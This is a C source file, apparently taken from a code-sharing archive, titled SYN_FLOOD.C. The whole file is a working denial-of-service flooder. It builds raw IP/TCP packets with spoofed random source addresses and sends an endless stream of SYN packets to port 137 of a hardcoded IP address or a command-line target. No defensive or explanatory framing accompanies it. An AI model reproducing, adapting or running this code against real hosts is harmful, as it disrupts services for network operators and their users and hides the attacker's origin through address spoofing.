www.pudn.com > src00 > SYN_FLOOD.C, change:2001-11-24,size:3305b
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/time.h>
#define DST_PORT 137
static char *dst_addr = "128.255.252.46";
struct pseudo_header
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
}__attribute__ ((packed));
int create_raw_socket(void);
int send_frag_ip_pkt(int);
u_short in_cksum(u_short *, int);
static u_short ip_id = 0x789;
int main(int argc, char *argv[])
{
int sock = create_raw_socket();
int n = 0;
if(argc>=2) {
dst_addr = argv[1];
}
srand(time(NULL));
while(1) {
printf("%d: Sending IP packet ... ", n++);
fflush(stdout);
if(send_frag_ip_pkt(sock)<0) {
perror("sendto");
return -1;
}
printf("done\n");
if( (n%1000)==0 )
sleep(1);
}
close(sock);
return 0;
}
int create_raw_socket(void)
{
int sock;
int on = 1;
sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if(sock<0) {
perror("socket");
exit(1);
}
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))<0) {
perror("setsockopt");
exit(1);
}
return sock;
}
int send_frag_ip_pkt(int sd)
{
struct sockaddr_in sin;
unsigned char buf[20 + 20 +4];
unsigned char chkbuf[512];
char local_addr[32];
struct iphdr *iph;
struct tcphdr *tcph;
struct pseudo_header *ph;
u_short *port;
int i;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(dst_addr);
sin.sin_port = 0;
sprintf(local_addr, "192.168.0.%u", 1 + ((unsigned)rand())%253 );
memset(buf, 0, sizeof(buf));
iph = (struct iphdr *)buf;
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(buf);
iph->id = ip_id++;
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->saddr = inet_addr(local_addr);
iph->daddr = inet_addr(dst_addr);
iph->check = in_cksum((u_short *)buf, 20);
tcph = (struct tcphdr *)&buf[20];
tcph->source = htons((u_short)(2000 + rand() % 1000));
tcph->dest = htons(DST_PORT);
tcph->seq = (unsigned short)rand();
tcph->ack_seq = 0;
tcph->doff = 6; /* data offset */
tcph->syn = 1;
tcph->window = htons(8000);
tcph->check = 0;
tcph->urg_ptr = 0;
buf[40] = TCPOPT_MAXSEG;
buf[41] = 4;
*(unsigned short *)(buf + 42) = htons(1460);
for(i=44; i<sizeof(buf); i++)
buf[i] = rand();
ph = (struct pseudo_header *)chkbuf;
ph->src_addr = iph->saddr;
ph->dst_addr = iph->daddr;
ph->zero = 0;
ph->proto = iph->protocol;
ph->length = htons(sizeof(buf) - sizeof(*iph));
memcpy(chkbuf + sizeof(*ph), &buf[sizeof(*iph)], sizeof(buf) - sizeof(*iph));
tcph->check = in_cksum((u_short *)chkbuf, sizeof(buf) - sizeof(*iph) + sizeof(*ph));
return sendto(sd, buf, sizeof(buf), 0,
(struct sockaddr *)&sin,
sizeof(sin));
}
u_short in_cksum(u_short *addr, int len)
{
int nleft = len;
int sum = 0;
u_short *w = addr;
u_short answer = 0;
while(nleft > 1) {
sum += *w;
w++;
nleft -= 2;
}
if(nleft == 1) {
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum>>16) + (sum & 0xffff);
sum += (sum>>16);
answer = ~sum;
return answer;
}